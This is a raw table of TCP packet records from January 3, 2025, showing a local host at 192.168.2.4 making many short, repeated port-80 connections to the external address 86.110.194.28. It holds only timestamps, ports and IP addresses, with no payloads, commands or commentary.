Jan 3, 2025 18:28:07.040710926 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.393573046 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:07.398478985 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.398494005 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.398502111 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.747220039 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.799587965 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:07.886703968 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:07.940210104 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.016293049 CET	57201	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.016343117 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.021404982 CET	80	57201	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.021471024 CET	57201	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.021589041 CET	57201	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.022187948 CET	80	57193	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.022239923 CET	57193	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.026370049 CET	80	57201	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.377783060 CET	57201	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.382625103 CET	80	57201	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.382637024 CET	80	57201	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.382644892 CET	80	57201	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.745412111 CET	80	57201	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.799599886 CET	57201	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.878631115 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.878865957 CET	57201	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.883450985 CET	80	57206	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.883527040 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.883624077 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.883871078 CET	80	57201	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.883920908 CET	57201	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:08.888345003 CET	80	57206	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:08.999284983 CET	57207	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.004919052 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.004987001 CET	57207	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.005053043 CET	57207	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.010718107 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.237185001 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.242006063 CET	80	57206	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.242094994 CET	80	57206	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.362284899 CET	57207	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.367142916 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.367153883 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.367161036 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.566715002 CET	80	57206	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.612095118 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.698575020 CET	80	57206	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.701730013 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.752731085 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.854325056 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.854399920 CET	57207	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.965859890 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.965914011 CET	57207	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.966253996 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.971016884 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.973495007 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.973572969 CET	80	57206	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.973593950 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.973618031 CET	57206	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.973655939 CET	80	57207	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:09.977279902 CET	57207	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:09.978383064 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.330923080 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.335805893 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.335818052 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.335825920 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.662163019 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.705858946 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.796081066 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.846477985 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.920476913 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.920778990 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.926220894 CET	80	57213	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.926362991 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:10.926417112 CET	57213	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.926453114 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.926551104 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:10.931936979 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.284059048 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.292053938 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.292067051 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.292073965 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.686403990 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.737102985 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.818752050 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.862111092 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.936467886 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.936737061 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.941544056 CET	80	57222	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.941559076 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:11.941601992 CET	57222	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.941638947 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.941740036 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:11.946469069 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.299685955 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.304526091 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.304538965 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.304547071 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.672605991 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.721474886 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.809467077 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.862088919 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.935475111 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.935574055 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.940319061 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.940378904 CET	80	57229	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:12.940388918 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.940423965 CET	57229	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.940507889 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:12.945262909 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.299685001 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.304689884 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.304703951 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.304714918 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.653891087 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.705842018 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.788707018 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.830835104 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.908000946 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.908788919 CET	57242	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.915179968 CET	80	57236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.915199995 CET	80	57242	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:13.915272951 CET	57236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.915309906 CET	57242	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.915440083 CET	57242	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:13.921623945 CET	80	57242	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.268413067 CET	57242	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.273402929 CET	80	57242	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.273416042 CET	80	57242	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.273425102 CET	80	57242	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.619035959 CET	80	57242	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.658962011 CET	57242	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.707143068 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.707228899 CET	57242	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.711910009 CET	80	57248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.711965084 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.712093115 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.712202072 CET	80	57242	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.712243080 CET	57242	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.716851950 CET	80	57248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.826755047 CET	57250	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.831585884 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:14.831641912 CET	57250	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.831765890 CET	57250	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:14.836482048 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.065299988 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.070307970 CET	80	57248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.070327997 CET	80	57248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.190304041 CET	57250	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.195229053 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.195241928 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.195250988 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.418776989 CET	80	57248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.471446037 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.529782057 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.554208994 CET	80	57248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.574966908 CET	57250	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.596447945 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.661618948 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.794363022 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.794435024 CET	57250	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.797445059 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.799390078 CET	80	57248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.799432993 CET	57248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.799853086 CET	80	57250	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.799891949 CET	57250	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.802238941 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:15.802298069 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.802401066 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:15.807158947 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.159023046 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.163806915 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.163851976 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.163861990 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.511451006 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.565186977 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.638575077 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.690186977 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.777796984 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.777972937 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.782798052 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.782808065 CET	80	57259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:16.782856941 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.782871962 CET	57259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.782991886 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:16.787781954 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.127772093 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.132714033 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.132725000 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.132731915 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.500201941 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.549623013 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.634620905 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.674549103 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.772222996 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.772397041 CET	57272	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.777209997 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.777376890 CET	57272	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.778327942 CET	80	57266	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:17.781290054 CET	57266	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.800136089 CET	57272	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:17.804909945 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.159058094 CET	57272	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:18.163996935 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.164009094 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.164019108 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.461045027 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.591185093 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.592187881 CET	57272	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:18.736998081 CET	57272	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:18.740596056 CET	57281	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:18.741992950 CET	80	57272	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.742037058 CET	57272	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:18.745409966 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:18.745462894 CET	57281	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:18.745724916 CET	57281	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:18.750485897 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.096520901 CET	57281	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:19.101370096 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.101391077 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.101401091 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.447348118 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.582417965 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.582487106 CET	57281	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:19.898490906 CET	57281	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:19.898780107 CET	57285	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:19.903573990 CET	80	57285	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.903637886 CET	57285	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:19.903795004 CET	57285	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:19.905441046 CET	80	57281	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:19.905488968 CET	57281	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:19.908638000 CET	80	57285	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.252794027 CET	57285	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.257733107 CET	80	57285	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.257750034 CET	80	57285	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.257760048 CET	80	57285	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.565965891 CET	57290	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.566510916 CET	57285	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.570769072 CET	80	57290	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.570835114 CET	57290	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.570913076 CET	57290	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.571477890 CET	80	57285	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.571527958 CET	57285	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.575675011 CET	80	57290	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.692027092 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.696815968 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.696870089 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.696969986 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.701721907 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.924874067 CET	57290	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:20.931339979 CET	80	57290	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:20.931448936 CET	80	57290	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.049870968 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.054934978 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.054948092 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.054956913 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.253925085 CET	80	57290	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.373727083 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.383234978 CET	80	57290	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.385669947 CET	57290	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.424535990 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.506439924 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.549552917 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.623985052 CET	57290	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.624048948 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.624308109 CET	57302	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.628958941 CET	80	57290	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.629009008 CET	57290	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.629090071 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.629146099 CET	57302	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.629228115 CET	80	57294	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.629234076 CET	57302	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.629275084 CET	57294	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.633981943 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.988724947 CET	57302	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:21.993545055 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.993556976 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:21.993566990 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.327605009 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.408993006 CET	57302	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:22.456151962 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.601520061 CET	57302	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:22.606461048 CET	80	57302	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.607254982 CET	57302	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:22.610598087 CET	57303	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:22.615458012 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.619185925 CET	57303	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:22.619283915 CET	57303	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:22.623995066 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.971679926 CET	57303	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:22.976557970 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.976571083 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:22.976587057 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.315813065 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.450414896 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.450582027 CET	57303	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:23.620342970 CET	57303	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:23.620749950 CET	57313	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:23.625264883 CET	80	57303	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.625307083 CET	57303	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:23.625562906 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.625619888 CET	57313	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:23.625731945 CET	57313	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:23.631356955 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.971460104 CET	57313	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:23.976375103 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.976387978 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:23.976396084 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.316062927 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.408886909 CET	57313	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:24.448143005 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.561341047 CET	57313	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:24.561824083 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:24.566581011 CET	80	57313	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.566595078 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.566642046 CET	57313	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:24.566668987 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:24.566811085 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:24.571527004 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.927155972 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:24.932002068 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.932013988 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:24.932023048 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.256412983 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.299613953 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.388264894 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.487368107 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.515860081 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.516041040 CET	57326	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.520812988 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.520886898 CET	57326	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.520987034 CET	57326	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.521370888 CET	80	57320	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.521441936 CET	57320	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.525717020 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.877746105 CET	57326	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:25.882631063 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.882642984 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:25.882651091 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.219713926 CET	80	57326	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:26.299593925 CET	57326	80	192.168.2.4	86.110.194.28
